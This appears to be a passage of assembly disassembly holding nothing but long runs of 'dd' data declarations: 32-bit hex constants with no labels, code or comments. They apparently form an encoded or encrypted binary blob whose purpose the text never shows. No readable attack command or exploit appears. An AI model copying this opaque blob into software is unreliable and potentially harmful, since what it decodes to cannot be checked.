		dd 0B649BCD0h, 5B090F8Eh, 0E1802A22h, 291E0565h, 3409F1ECh
		dd 705DCF66h, 241EC7CAh, 0BA6D5553h, 2E400988h,	64BEA08Ah
		dd 2BDCB108h, 8E673A9h,	28C2F39Ch, 109E558Dh, 0E8A1CD4Fh
		dd 0E411BC7Eh, 55309E82h, 0E4579A91h, 0C4B5393Ah, 4CE2F0A5h
		dd 46D6DC2Fh, 74DC37F2h, 0F2B20EC1h, 0BC3AD430h, 55E627F1h
		dd 80083AA2h, 0B652B6C0h, 0EE0BFE76h, 0F0F128CFh, 2C367EEDh
		dd 5011BCADh, 76BDD921h, 3CE9E2A0h, 2F97E37Ah, 86516F33h
		dd 9F18B39Ch, 9F086ADEh, 0FE30018Ch, 6A59EC68h,	0F4885F31h
		dd 0BD60E3C9h, 42CA41BEh, 15DA5BD7h, 0EAF7E0B5h, 93E0007h
		dd 68C20133h, 599C0C97h, 0EA940F68h, 0F6820E0h,	0E8D1D0F7h
		dd 0C840F924h, 6F0478FBh, 0FB29546Bh, 8538C84h,	7D221818h
		dd 260D1724h, 0EE6DB45Fh, 0EB59D041h, 0B52348ECh, 0E651E799h
		dd 45006FAFh, 5B464E02h, 776B429Ch, 2E256349h, 10F62050h
		dd 2913DC6Eh, 30450CCEh, 0F2B7EAB3h, 9DC18C5Bh,	0C3652EC8h
		dd 81E5E082h, 5D910BEBh, 28D539A8h, 0B72C0877h,	94E87642h
		dd 5BDEF6F3h, 930DD27Dh, 0BBBC1470h, 17387A43h,	0A26E9529h
		dd 0C456267Fh, 0B905CE10h, 0AB62740Eh, 18C2B0C7h, 866EFFF8h
		dd 0C8B70F1Fh, 4760EA8Dh, 4D019A31h, 202EE617h,	2FB050C4h
		dd 2D5E8DF6h, 0E702198Dh, 0AB1A5575h, 0DF253B56h, 0FE60283Ah
		dd 8C2669E4h, 5B036541h, 437801Dh, 0FA66280Ch, 0A7F9AA22h
		dd 30C116Dh, 0E015D14h,	492F474Bh, 3AA0F201h, 0D482A308h
		dd 6EF7C71Eh, 9B4D075Bh, 35F16320h, 140AEB1Eh, 50620A68h
		dd 32AAE984h, 0A4505706h, 565F4904h, 0E6EF8967h, 4D6B75E7h
		dd 0F5E5E21Dh, 4F003752h, 43CCB850h, 254ABCh, 1AE644B6h
		dd 5BBF7D05h, 4D251CB0h, 12E923EFh, 0FC379A2Eh,	0D2D21F81h
		dd 311F8124h, 27E866F8h, 5069545Fh, 5E975D68h, 65B62ABh
		dd 0DE977E80h, 0EB0428Fh, 8830FB7Eh, 0C5805AD2h, 0B068127Bh
		dd 0DFFAA43Ch, 0EEC11AC5h, 0BA3158C7h, 1C8827D9h, 0FE2D8E56h
		dd 0E775F2A2h, 0E00D0811h, 0DF2DAD00h, 0EA745D27h, 0D73A02F3h
		dd 0E3E7E91Fh, 615CD157h, 6A471568h, 0C76CBA31h, 95CD0104h
		dd 7830CC58h, 84813956h, 1663044Eh, 188E41BEh, 30106E0Eh
		dd 0B2259C0Dh, 4875D826h, 0C34CE45Dh, 0E5577304h, 4CDBAC0Ah
		dd 412DB1B2h, 145006C4h, 705F001h, 0AFDA5E3Ch, 0D042D629h
		dd 93EC92A5h, 0CF75D970h, 7407376Dh, 0B412D52Ah, 5826FCD1h
		dd 1F7E7CC9h, 230E6B5Fh, 1A0BBC25h, 0A9C7F50Dh,	97E07C25h
		dd 0F9F2D49Eh, 0CAA110C8h, 2004B902h, 30F64064h, 0D605BF09h
		dd 23A4400h, 0F5A6F380h, 0F5AF8549h, 916ADAh, 0ED2E8990h
		dd 0BD66806Dh, 0EA5161BBh, 100B3C68h, 0D8E059BDh, 0F5E91CC3h
		dd 83722B5Ch, 143471B8h, 3E86254Ch, 265A210h, 0C95A13BBh
		dd 1985617Eh, 0C117A320h, 0B4E060EAh, 31FB3467h, 68DDD962h
		dd 89F97FB7h, 65C7F393h, 0A6AB3485h, 2DD1418h, 0D8412F72h
		dd 0D9839D2Dh, 36019036h, 4711032Dh, 0E02FC112h, 0C6419D0Bh
		dd 5A01006Bh, 64EE6850h, 0F43789A8h, 4B065782h,	35A07D54h
		dd 6C3D4301h, 4BFEBA74h, 50FC27D2h, 0D8F72E43h,	1E880084h
		dd 0C8217148h, 50D5903h, 0A0569F34h, 5CC6EBA0h,	582DA6D4h
		dd 0F4BC6153h, 2AC0995Bh, 72916D2Dh, 0E6895E2Bh, 80A84AECh
		dd 0CF034E49h, 1C197A0Dh, 53172Eh, 26079B08h, 0C3F601A5h
		dd 71B4F4C9h, 0A84EFBFEh, 0A05A17F3h, 0E494C807h, 0C3145725h
		dd 425EE912h, 0C5A5FC69h, 5172BE7Ch, 6778AD41h,	0B02D072Dh
		dd 95E689F8h, 1739D41h,	0D022EB28h, 0C30B58CEh,	67595EFCh
		dd 0BAF7162Ah, 1D6E0701h, 0CDD80A9Dh, 9B1E2794h, 0D71E55ACh
		dd 0AE7BB73Ch, 7A095131h, 0C6CB10B4h, 7540E456h, 71E20281h
		dd 0FE293383h, 7F27D161h, 1C67BA43h, 0F484CDE8h, 63B06884h
		dd 0AF5CB553h, 3E2AFC49h, 0FDCF16B2h, 21E84741h, 0BF95D79Fh
		dd 0AA93C6A3h, 383E9F8Dh, 0EB008011h, 86B45005h, 0BF69B252h
		dd 0F201CBDEh, 5AD408E1h, 3375FC7Bh, 440A06F9h,	6B5DFBC2h
		dd 24554B57h, 580BB4FCh, 9F2D5CA3h, 0F85425F9h,	1BBFD491h
		dd 0AB68E87Dh, 0F86FF108h, 0C531A1AEh, 1255126h, 4EC072EAh
		dd 0E699B440h, 5A78B203h, 13FA0B32h, 99583E10h,	443A8D13h
		dd 8EDF200h, 0D28A39E9h, 743E0B34h, 609AE8B3h, 0EBED985Dh
		dd 0E07D8265h, 959005B6h, 6CBE15Ch, 9817EED0h, 0B3E6B5EBh
		dd 0C70D872Dh, 0C8571F16h, 0A02D7F1Ch, 9BF281F9h, 40F63F5Ch
		dd 4FAF0697h, 0D0D7D3FBh, 0A41814F2h, 74584B2Ch, 68C4D91Ch
		dd 95A3694Eh, 5A16F477h, 0BB20EE46h, 9ACC48E9h,	0DDF72429h
		dd 0AE674E5Bh, 0C6DA674h, 0DC0B6F04h, 12C7952Fh, 0BFF54F3Fh
		dd 31E0B305h, 7F1204FAh, 438BB84h, 1E672F68h, 1245B7D3h
		dd 0B3F417EBh, 0CAFAD1ECh, 0D57A14D0h, 660B3EE5h, 0C9B3542Dh
		dd 0D05B4805h, 0B27B0A00h, 4058551Ch, 885C0543h, 0C184DDF1h
		dd 0F0E58E04h, 5F68E2EFh, 0F4DB00F5h, 2F9DC5BCh, 542D0980h
		dd 325BAB01h, 3B070A10h, 4DAD5E5Bh, 0D9F4E909h,	519A1057h
		dd 0CB58C588h, 99229759h, 937505Dh, 0A2E4E9E1h,	0EB5B0E52h
		dd 7C124BA2h, 1831EEB0h, 8A3FAFFAh, 0CA207C86h,	8CD39D3Dh
		dd 0FF6B02A4h, 23A58745h, 79944B54h, 0F739C256h, 0C0D846D6h
		dd 443CE50Ch, 2DE9B629h, 0F8DCCE99h, 558B8771h,	0FA701AE9h
		dd 7A1CBD07h, 0EEA27721h, 924A5BD8h, 66B3BA68h,	81CAB850h
		dd 1BC62059h, 5FB50EA8h, 19F58009h, 0FEE302C0h,	405662CDh
		dd 0F758E593h, 7753E070h, 2A7D95B3h, 290B59DEh,	0C24B7635h
		dd 5E0577A2h, 4F7928BCh, 0BD55801Dh, 710A1244h,	0AA056845h
		dd 0C7B5ACBFh, 84835F94h, 112A660h, 8C07F26Ch, 0A9B33B74h
		dd 852CABD7h, 4AF8B7C1h, 0BFF1449Fh, 0A4A30C85h, 6309C64Fh
		dd 0FE758D1Dh, 0F9575AE5h, 0E475EBA4h, 84D22078h, 0AFEE63F0h
		dd 8BF9C7D3h, 0AE1E38Bh, 31DF7130h, 5FB7C8F1h, 30B1B52Ch
		dd 836EE985h, 14BB4FF4h
		dd 0ADF9141Dh, 0E5A5F018h, 7201FEEBh, 0E52D23A0h, 0A8CB9F41h
		dd 76F538Eh, 174D0548h,	0D40125AAh, 0C081462h, 914B27Ch
		dd 6A6D685Bh, 3296299Ah, 0AB4EE89Dh, 4875821Dh,	3E805919h
		dd 0A5987FC1h, 13B9D0B1h, 170C037Eh, 7656D9F7h,	194313D5h
		dd 67630873h, 0C672F237h, 8C10596Ch, 0F7D90DDFh, 3A1E6B09h
		dd 0DE2BF753h, 0E90B5AF6h, 8A02DC76h, 421F5DC1h, 0B6039BCFh
		dd 940CB98Dh, 41AE2640h, 0BCC04BAAh, 0EAD1096Fh, 0CFB8042h
		dd 1907CFA4h, 2E965DE9h, 8F9CD84Bh, 0B3B8A5D2h,	4225A53Dh
		dd 29591160h, 978BC259h, 49E3CFEBh, 60072D11h, 0BD4F58A8h
		dd 3E8AD640h, 6DFE18BFh, 5A29137Fh, 0A77C0159h,	2F6F2EE4h
		dd 0B38F93F1h, 16A43231h, 0F7D2D1D7h, 3006BE4Eh, 726808FEh
		dd 2E69F02h, 324A8000h,	0E9DF0956h, 752A5F35h, 6290813Bh
		dd 0BEE06A13h, 760A5E2Fh, 0D495E73Fh, 85300AC0h, 0C3B78031h
		dd 402D6866h, 0B450279Fh, 0E9E72030h, 19D65870h, 260DF9F4h
		dd 7CAF0E32h, 0FC815CEBh, 0EE811018h, 4B1502B9h, 52386806h
		dd 5F09A455h, 96C6AB13h, 6CF42D92h, 44F19C80h, 7F401B01h
		dd 14DA12BDh, 53ADC2E8h, 286A85D7h, 778ADC0Eh, 1C734DF2h
		dd 126FF480h, 0DA93F2E3h, 0F4E0C118h, 7862827Eh, 5F4F2278h
		dd 0A7EA2CFEh, 0E457FEAAh, 0C4364E1Ah, 8252D77Ch, 0D0AB42D7h
		dd 23AFB303h, 35D0D701h, 0F4998C10h, 68F0C02Eh,	46BD2C3Ah
		dd 4AB907CDh, 9C014647h, 5E4E48DAh, 0AD12B2F3h,	7798EE8Dh
		dd 504F9E3Ch, 0B2123DF7h, 0C1BFE2DBh, 59B8894h,	0EEC9C4EEh
		dd 0B485E67Ch, 6CEB80B1h, 55401B6Eh, 0F0DD892Dh, 8C5B4E33h
		dd 5ABC217Eh, 78A26884h, 4D1811E3h, 67C54B07h, 0C7068813h
		dd 0FB0616ADh, 203B38E9h, 213934Eh, 2D0D9EE0h, 6706EC4h
		dd 1E749B4Dh, 148B5B68h, 4C3D687Fh, 471394A2h, 0B4899F51h
		dd 27DB9C5Dh, 48FABFA9h, 0A8776290h, 0DCF1293Eh, 0E1104BD4h
		dd 2F27105Ah, 0AB5E7B79h, 4EA4FC8Ah, 503858F2h,	7B01BFF0h
		dd 91B6317h, 0ADC58CC0h, 0BD94099Eh, 77ABFCE9h,	5D108BD5h
		dd 7133596h, 15067736h,	0AFAA5Eh, 0DB7E0EC2h, 52575D40h
		dd 4A3BBA05h, 87800955h, 48926D31h, 16701D59h, 0C1453444h
		dd 4C0B231h, 61EAF713h,	0A818AED6h, 844AF577h, 0DFC8C249h
		dd 0FE205CE6h, 0C045B7FDh, 40AEF425h, 5859EB28h, 9B678074h
		dd 0C3001606h, 0E37B151h, 0BBE9C9FEh, 4F51F2D3h, 7E5139EAh
		dd 7FF174BCh, 0BE5600E6h, 605C2DF5h, 0BB5EA0E0h, 0AD78A609h
		dd 7C574B7h, 0F9FDE943h, 54B6E56h, 0C8EF57AAh, 5300FF23h
		dd 0BD555D9Fh, 5F427AFEh, 48EA20Dh, 47A668E8h, 25051D80h
		dd 0CFE61BCh, 0E2676CBAh, 9892E375h, 904E04EEh,	9AF66314h
		dd 41B92BB3h, 47A22F09h, 55F94C73h, 6B3B0B02h, 25DE5F28h
		dd 0C1C3856Fh, 0B9070DA9h, 0E925A789h, 161CCCF5h, 49D3C9E9h
		dd 7C115A66h, 0B3902AA1h, 5AA26E16h, 0A6EEC055h, 6610430Ah
		dd 841CB29h, 129401FDh,	680B18C3h, 167964D2h, 481972A7h
		dd 532C96ACh, 4413C046h, 810065FDh, 3E36ECE3h, 0C1DBF77Ah
		dd 0AB355552h, 81DD4482h, 3E6397E0h, 8412DE8h, 0C1742C2Fh
		dd 922B3E26h, 95829820h, 5510080Bh, 0F782AC51h,	8E20D57Ah
		dd 9EB905AEh, 0BE618133h, 18BFCF02h, 0B3B58A4h,	4AD8126Ah
		dd 0D3A880D5h, 242FA5A3h, 1769CE01h, 7FBB8990h,	0E117B3E6h
		dd 528AFD5h, 0A4EC4BA1h, 9940FDFFh, 0C395F857h,	34736823h
		dd 903314FEh, 88BB2CE1h, 33212319h, 56B6DA31h, 5DE6F51Fh
		dd 6860DD01h, 0E0282150h, 0BA86D3C5h, 714883B6h, 0CB9EA424h
		dd 59867D5h, 81C8BE0Fh,	0E24DD4E8h, 7F6E2B83h, 0ACC1D702h
		dd 9673BC7Eh, 0CFDEC9C7h, 3B574F61h, 813E6BE1h,	3E657D1Ah
		dd 57BA4E70h, 2FC9032Ch, 67B8EA81h, 0AAE916D8h,	59AC8C5Ah
		dd 834F2DA3h, 0E9986CBEh, 1C638EBh, 24423B8h, 84974022h
		dd 0C9001C91h, 7B228AE9h, 0B640342Dh, 0E828011Ch, 5D480705h
		dd 97B42063h, 81FC3DCAh, 97E5F5CBh, 0E9538030h,	0BBA64066h
		dd 5671C709h, 0A10E4Bh,	68011BF2h, 317F4F61h, 313B2316h
		dd 8D902AC5h, 9F4BD8E9h, 0EE09F94Eh, 1DF29F7h, 2852C647h
		dd 18811DE9h, 1ABF430Fh, 1C40DB01h, 0BC2FE908h,	940EAB6h
		dd 17905799h, 0B1A51C63h, 92A7680Bh, 0B0FDC622h, 3F8F41B7h
		dd 0D87C84A6h, 0EA800E36h, 13ABEF5Bh, 33050660h, 0C304B71Bh
		dd 276B5492h, 4DEAA3EFh, 20E218D9h, 975AD751h, 0FCC5CE8Fh
		dd 0D594FB6Bh, 1DE90802h, 0F122FF98h, 4D461C67h, 777E2127h
		dd 0CF4D8790h, 0F56F5E81h, 0F9916B5Bh, 84407563h, 90321D1Eh
		dd 0EEE71C3Bh, 18149808h, 11255F06h, 12A454FEh,	0ABDDC520h
		dd 680A019Bh, 699A2FCEh, 290B355Eh, 0D4ED937Bh,	1387A106h
		dd 68515603h, 9ED02803h, 1D67FE9Ch, 8137ED49h, 423FA2E1h
		dd 0E06E750h, 5DF1534Eh, 31D00B26h, 0C55C5786h,	3EF2A80Fh
		dd 177668C8h, 52C85E56h, 0F820BE0Fh, 4CEF42ABh,	4B05063Ah
		dd 0EF498E11h, 18082DE2h, 0DC003CF3h, 0E972DA23h, 0DD70673Dh
		dd 2D9AE9E8h, 41DA595Dh, 8ECC17E9h, 2226BF6Eh, 0DF890CB1h
		dd 8C012FE9h, 9AF02927h, 8EF34B6Dh, 0FC9150DCh,	26563B12h
		dd 13E484BEh, 0F92CBF08h, 39A0605Ch, 0D50F62F3h, 62A6758h
		dd 0E313740h, 0B470650Ch, 0AD84013Dh, 0FA344A3Eh, 6149AD50h
		dd 26683D12h, 0FAC29F43h, 0DC5B777Ch, 985B878Bh, 0F45F5ECFh
		dd 0B2775BD5h, 74FB4B15h, 214988E4h, 208D069Eh,	0FDFA2092h
		dd 0F7414492h, 13313E33h, 27BFD05Ch, 95CF8039h,	2EF60919h
		dd 893D5002h, 0C101A980h, 0B7542BE9h, 713937C1h, 41AE4E59h
		dd 9D54E3C5h, 0AF1C3A5Dh, 0D581A7ECh, 5B2D2E34h, 0E1A3A82Ah
		dd 845076E9h, 944A3168h, 62245153h, 6D03867Ch, 1FCA0429h
		dd 0E0555730h, 672F78ADh, 0BEF85470h, 0F904D09h, 7C32895Dh
		dd 14D18897h, 0E5C7090Eh, 0CB6185FBh, 5D69ADCDh, 0C0B70FC1h
		dd 7222FC55h, 8F0B41BBh, 4FC44C4h, 0EF80FCB7h, 63BD8112h
		dd 9E327E47h, 0C8E0F5D3h, 0E19F505Ch, 5022C172h, 0D1B4E0D3h
		dd 0CF0B5A70h, 0F498DDE9h, 1207C2C4h, 978C40Fh,	73BB6CF4h
		dd 6F402D93h, 44F50268h, 9F8165BDh, 0C8868E51h,	0B09CAB16h
		dd 0C1224DC9h, 352D6100h, 58C22117h, 270B40DDh,	0F26280A4h
		dd 4DA84906h, 2550A839h, 5EFAB27Dh, 106AF4EBh, 890B06E4h
		dd 665A5B1Ah, 1218BA54h, 0CC6D0268h, 7E40B6BDh,	0D450615Dh
		dd 6E4421C6h, 0DE503AB8h, 1B120486h, 10C32913h,	4E5B4808h
		dd 801228D4h, 6E202239h, 0D6591698h, 41EB568h, 0A0A6BF08h
		dd 1687A010h, 88FE5401h, 3B38B311h, 0BE91DF13h,	0AA05B0FBh
		dd 82516F03h, 0A39AD90Eh, 9490EE22h, 0F2BE9B17h, 208508D2h
		dd 0C4680795h, 5957095Ch, 0DD52C9CFh, 27498B32h, 58F3FDE2h
		dd 0BA827E97h, 20D16458h, 502E865h, 79C2C5Dh, 0A6E88F29h
		dd 7F7BEEB8h, 0A6A9360h, 0AD5ED59Ch, 6308F654h,	0BF66128Eh
		dd 6AB589D7h, 0EF4FDBF8h, 993F0A2Dh, 7B8721D2h,	6AC4E0FCh
		dd 83A7EBD0h, 275E6105h, 0EEFF0030h, 21495C5Fh,	0DAAB639Dh
		dd 0C38000B6h, 0DE5E2897h, 274B61EBh, 0EE4D7E68h, 45ECE35Bh
		dd 0CE0AD67Ah, 39AB4F90h, 0A2AF316Dh, 59208239h, 0A9D4B593h
		dd 2FC4862h, 0AD40D3F7h, 0A831E4Ch, 7A525B88h, 2309828Bh
		dd 6542F8DCh, 9C2B45DFh, 8938A438h, 0CED559CAh,	0D1C05D5Eh
		dd 47202D06h, 0DE2C6284h
		dd 0D769161Dh, 0B363BA4h, 3DD47431h, 86D17925h,	70392782h
		dd 1CDAFF10h, 0F6657B0Bh, 672C004Dh, 0FC179F78h, 13EBEACh
		dd 507331B9h, 762C807Eh, 2962EE72h, 9A91EECDh, 0C3F99545h
		dd 3EF2C54Fh, 0C2C177ECh, 3EDF3C7Dh, 21583880h,	0EF0C6945h
		dd 828B480Bh, 0A081E75Dh, 507202Ch, 0E17A10A0h,	7AF15B25h
		dd 0FFEE54BAh, 3443775Ah, 0BBC28885h, 26E78CC0h, 0C6560C4h
		dd 0AF57EC78h, 8ABBE916h, 2DEEBBD4h, 6A816A5Eh,	0EC0452ADh
		dd 528C2D47h, 0B1020257h, 0C7210CD5h, 111675h, 191470BAh
		dd 4AD2F755h, 5B099D98h, 0DE73563Ch, 0B251C1Fh,	0E85D1241h
		dd 7E3BB959h, 42F89723h, 86256602h, 0D4CBE933h,	0B6BA0121h
		dd 90064D3Ah, 493BAE34h, 0EB889512h, 41ED3BD9h,	0A6A3126Eh
		dd 524B1E2Ch, 68C1491Ch, 7904776Ch, 0BC504F30h,	0E8862485h
		dd 25D20EB5h, 0C4E986A5h, 4B4B382h, 4E392110h, 9A7A9ABh
		dd 0F21355E9h, 618A0F76h, 546544CCh, 818AAA05h,	5E0E1510h
		dd 0F20C13BAh, 49109665h, 0BF5E3B0Fh, 68F682DEh, 0C0050A6Fh
		dd 2516BCB5h, 16781D0Ch, 48EAB509h, 51A0C1A6h, 99BB166Bh
		dd 8FF02020h, 58E3C180h, 12A6105h, 80CE5C95h, 6A2D1D06h
		dd 0F7B00C7Dh, 591AB313h, 2FDF29FBh, 0CBE5988h,	568599B9h
		dd 0D09F5944h, 57020150h, 0D7A780BFh, 24848562h, 41830E64h
		dd 85E40FEh, 0CF5C9F5Fh, 6B515E5Ah, 4502E976h, 0F2065B29h
		dd 4912083Bh, 0EF411036h, 89CDDBBFh, 6F41AF24h,	0EDE7ECEBh
		dd 0C10625C1h, 0A81566h, 271AFA68h, 0CDE0737Dh,	70489B80h
		dd 92ED294Ah, 5106173Bh, 37EC8D84h, 50B18510h, 622668A8h
		dd 63F2734h, 51C97CF2h,	0B0A4F618h, 0A2899DE8h,	21024C54h
		dd 5C124374h, 0B6A0BBCFh, 72D82825h, 0C7C848ACh, 137668F0h
		dd 270B18BBh, 7F561AA6h, 0B548DF8Eh, 65C98100h,	0A231E761h
		dd 0CBBE828Bh, 2199803Ch, 0C06BC00Eh, 1B718018h, 0AEA0536Eh
		dd 0A20F6DDFh, 659EBB35h, 5E81E131h, 0F435D3E9h, 2F53E62Fh
		dd 27705652h, 0B5F51C5Dh, 0F60807Ch, 932940Ch, 88635FBAh
		dd 5D5B1FD0h, 695838FCh, 0CDA4E909h, 6E13B6F2h,	390BEE30h
		dd 3907688Ah, 23630913h, 0F8D4F521h, 0D1E38E12h, 3AD0BD80h
		dd 0F5FC0BC3h, 8E50720Eh, 1FE5C020h, 9F220D6Ch,	0C40F7A0Fh
		dd 0CAD0F40Bh, 0CB6FFC09h, 0F7785721h, 731303ECh, 0D8EB25A7h
		dd 6B1FA42Eh, 0F30737B7h, 0C21E5F24h, 0FD5BDE89h, 9BD1BFC2h
		dd 3946DFEBh, 13767720h, 0AEDA6859h, 19B29C60h,	90E9F8CBh
		dd 2557B204h, 0C0465465h, 74027727h, 0AF5D63B4h, 0C1E62126h
		dd 0D355EC02h, 81040C3Ah, 323FCA04h, 77807F50h,	134302A6h
		dd 0F10DE914h, 6DEF2B2Ah, 67912FBEh, 44710BB5h,	4F212620h
		dd 0D69CA377h, 300029EAh, 7582113Bh, 105A3BA7h,	1D846856h
		dd 624FABBDh, 0E0E7F578h, 0C342E893h, 744DBA68h, 2F5260AFh
		dd 422C57F7h, 0BBA3B4Ah, 77E475E9h, 0C5C967C4h,	4BFE0050h
		dd 7582C14h, 7B1F9105h,	0E7FFB15h, 957360A4h, 4F21BE70h
		dd 538BA44Fh, 42C5E925h, 0F2964A5h, 153F2623h, 0BBA205A6h
		dd 8CADB84Bh, 586D424Fh, 64FC10E9h, 39A44B3Bh, 69874ABCh
		dd 0A7B66E23h, 355E0277h, 6DEFE91Dh, 9D4094F5h,	75F08261h
		dd 2BD003FDh, 2C1A0626h, 0BE7FD81Eh, 1DF119A2h,	693AD0Ch
		dd 331CFBCEh, 3A8F7B67h, 4FDA6927h, 0FA662733h,	25C8E8Ch
		dd 2A238DB8h, 615F3159h, 2DFCD621h, 0C81ED6B9h,	0D6B2386h
		dd 3D599F1h, 0BB550BDEh, 2DEC7F34h, 4553AB84h, 0A620D5A5h
		dd 4C12534Fh, 860289Dh,	16A51C30h, 3341759Ah, 0BF449D60h
		dd 7C7EA602h, 62B2E781h, 2078616Ah, 8748957Ch, 0EC041E76h
		dd 7747CB63h, 0EAF5E96Ah, 0E2F15562h, 0D613636Ah, 175CDEFh
		dd 2B98A9BEh, 2A8BC3B2h, 0CECCE65Dh, 0EC36AA2Ah, 4E368127h
		dd 2C3B18B7h, 0FA0EA01h, 89B57DE9h, 12ED4C2Bh, 0D9109968h
		dd 0A0D40A0h, 1C04D252h, 0A83BE946h, 0BEF7AE4h,	6D87F6Fh
		dd 0C3422E7Fh, 0F02CF952h, 307457C7h, 0D928333Dh, 0F73F0DC8h
		dd 0C60CCF09h, 41427340h, 3C8E3139h, 566038Dh, 0A8576B45h
		dd 97479CBFh, 702A025Fh, 62DD8BD1h, 4DD87707h, 4BA832E7h
		dd 292D0D81h, 0E2D09FF7h, 6E92767Fh, 5C002648h,	0ECE9BCDCh
		dd 99D048E3h, 36527900h, 0FDA884BFh, 4E07B045h,	96BDB20Ch
		dd 26494100h, 59E967CCh, 0C2659AC3h, 80E6CD4Ch,	1656A826h
		dd 0ECD4BB6Fh, 0B805BE7h, 0B2DF76A0h, 9CA27734h, 0A255D668h
		dd 0DD4CFB35h, 0C413459Ah, 0B9787AEAh, 0C9BB5A4Bh, 0DFDE2048h
		dd 20EB57C1h, 0C48B5362h, 0F9F436EDh, 0BC104CCAh, 5FB3CA5Bh
		dd 663F27FFh, 15208D54h, 0F5BB049Eh, 0AA1ADE3Eh, 6B7FB7A9h
		dd 65D891F3h, 0D7E0A627h, 0CFD7D290h, 64FE5582h, 0A147612Eh
		dd 0C13E1069h, 11331DC3h, 0A385BE52h, 0A42A2E21h, 0AA9C7AFBh
		dd 0DCD5F89Fh, 3375892h, 0CB9CDF95h, 502EE152h,	8C9E7879h
		dd 7DBB2BC6h, 61926414h, 18253B8Fh, 0C10C7023h,	4011200Dh
		dd 205C7D3Eh, 393D094Bh, 5BD8F726h, 0BA0BEDFEh,	775FBC2Bh
		dd 27084D28h, 16DA8E28h, 2A65F368h, 9F9CE251h, 31E6A05Ah
		dd 5A4768D2h, 579B2239h, 0ECDEAF89h, 1A74153Fh,	0F324C0Eh
		dd 77D337BBh, 0D24F90E4h, 0A9A3BB76h, 92EEB292h, 0F36BFE91h
		dd 5C31FE2Ah, 86205755h, 3B2C00E4h, 2BBDBF0Eh, 5A905AD6h
		dd 98FDD741h, 9528B8F4h, 88C09FF6h, 9702BA74h, 74F9D041h
		dd 0ACEC5DBDh, 6F139051h, 0C47AE4F5h, 5ECC8AC0h, 551D4EEEh
		dd 0D5A27CCBh, 1398FE20h, 59818026h, 41BA3B24h,	0C43E21BBh
		dd 80E52C04h, 7E175D6Eh, 973CE977h, 3D1E6AECh, 3192141Dh
		dd 2F6FEB0h, 69917FBCh,	5EEAD0E9h, 0A17181F8h, 2FEE3A6h
		dd 0C1DD974Bh, 0ACEF008h, 6CA92120h, 0EE4F01BCh, 6489D7D8h
		dd 0AD64EFA5h, 0F8AE4730h, 95851842h, 0B725BF4Dh, 0E9C1B651h
		dd 0A224B8C7h, 5F87C9FDh, 0E638EAD2h, 0E2EC5B84h, 0E6D48BE3h
		dd 0B2E917FCh, 665B13C1h, 2224463h, 24B72C39h, 5A17A7DAh
		dd 680CAEE2h, 7B8F5567h, 86D1055Eh, 5FC228A3h, 0E56FCBF1h
		dd 31AA4C8Ah, 80894654h, 6DE3817Dh, 0EC317E45h,	2F0AF0F3h
		dd 1F704950h, 0BAC1697h, 11267C9Fh, 0FB64D784h,	4FA05328h
		dd 8D738C54h, 8220BEB6h, 7BAAD195h, 5897B220h, 0F220FA50h
		dd 1B4C6812h, 0E11772BEh, 8809BF7Eh, 2857E5E3h,	0D8659821h
		dd 18665A0Fh, 60EBC080h, 80020608h, 40771F3h, 2CD82832h
		dd 700B5E4Bh, 7782BE16h, 0D4220849h, 297E4BA6h,	7741B4C9h
		dd 0F868D1B8h, 48AD773Bh, 7417CC0h, 513C2778h, 0B0BEBFA4h
		dd 571F2908h, 8235FBB7h, 306B5E1Ch, 8A7F9A03h, 0F83A4177h
		dd 0C04F6828h, 43457CB7h, 0B65488E7h, 0CB0109EFh, 7058F256h
		dd 25D8B2A2h, 84F408EFh, 644E1500h, 1B40CA81h, 0AE44AD35h
		dd 0D75DEFC6h, 0EA370B1Ah, 0E448DD24h, 3C312844h, 8350C6Bh
		dd 4A51C564h, 93AFB275h, 2042DCC1h, 8545A66Ah, 0F1F01FE9h
		dd 24CA2D80h, 2E4CA27Eh, 0D57450B3h, 0D8E9132Dh, 0CA8DBF6Fh
		dd 0B1C2F1E8h, 5206099Eh, 1362D283h, 0A7F90F9Bh, 0BAB93F7Bh
		dd 1D4EA04Eh, 0C1126E72h, 7F0103E3h, 7BAB3190h,	130B12A4h
		dd 765CFEF2h, 76120451h, 84CDFD40h, 0CCFAAF47h,	2D25BB25h
		dd 1F51825Ah, 951FE66Fh, 0E562095Ch, 0B0487C51h, 4B2D03B4h
		dd 7B2A7501h, 7DE0C235h, 5B72E9D4h, 5A2890A3h, 9B9D6F68h
		dd 3249C1ECh, 0B14E9DBCh
		dd 493C6B08h, 0BAE85B21h, 295FF541h, 983A58C7h,	3E160F0Ch
		dd 1094FB3h, 0C1E6AE73h, 4AD158AFh, 1FB50C83h, 97DA281Ch
		dd 0F88898C8h, 66BD5B50h, 3C91587Dh, 201F6805h,	0BE9300F6h
		dd 0B55208DCh, 5A1205DBh, 9617A2AEh, 0B2167FEDh, 68EFF83h
		dd 0BE144E74h, 40AACD28h, 0DCED016Eh, 6BE11A83h, 44982FE2h
		dd 7C5FFE68h, 0D1B80195h, 0B492F95Eh, 0ECCF45ABh, 54EE370h
		dd 3BDC442Ah, 5CD00BFh,	0F8640F37h, 18B68AB7h, 2B48793Eh
		dd 5ECB01F2h, 0C1367B3Eh, 12B95031h, 6454028Fh,	0F301E328h
		dd 7A966626h, 60E3E17Bh, 7D821FCCh, 93185C18h, 0BA37FE1h
		dd 0B9FA396h, 0B1096968h, 2352BF7Bh, 5D024A98h,	0F5C97DD6h
		dd 492D3140h, 816E7100h, 982523EAh, 850CCB32h, 0E965A500h
		dd 4CDD086Dh, 0A6A861C0h, 0B5FB31D0h, 0AE37E0B0h, 82957BBFh
		dd 5610AD68h, 3847DE40h, 593A6995h, 31536082h, 28553E49h
		dd 0EF260877h, 9B1CC08h, 2ED75AB2h, 0EC1E13DBh,	530A5B18h
		dd 0E94E0AB3h, 9DD5CEF5h, 97C8CBE2h, 66306816h,	0B4F317BAh
		dd 48CC2D2Dh, 2BFDAA0Bh, 0D22F54Bh, 0A4D7BA35h,	95702B9h
		dd 5E04820Dh, 0E412B561h, 0BAA64C65h, 0CDE95412h, 0A77BAEA1h
		dd 46A5D558h, 0CB804A95h, 0BC23AD0Fh, 2BD1F16h,	4BE97D80h
		dd 14055C48h, 404C091Eh, 12BF278Eh, 2749A2BEh, 4018DD59h
		dd 92979C44h, 159D7DDh,	4D367541h, 7134DD28h, 6BC1FE0Dh
		dd 0FDC2AFCEh, 389824Dh, 1574FAC0h, 0B5235368h,	4A07D510h
		dd 16C985EBh, 0FB592139h, 0E8C0007Fh, 352C1605h, 8267A828h
		dd 0DF19FDE9h, 0D13EEB1Bh, 0D4A59656h, 661A72ABh, 0D63B6670h
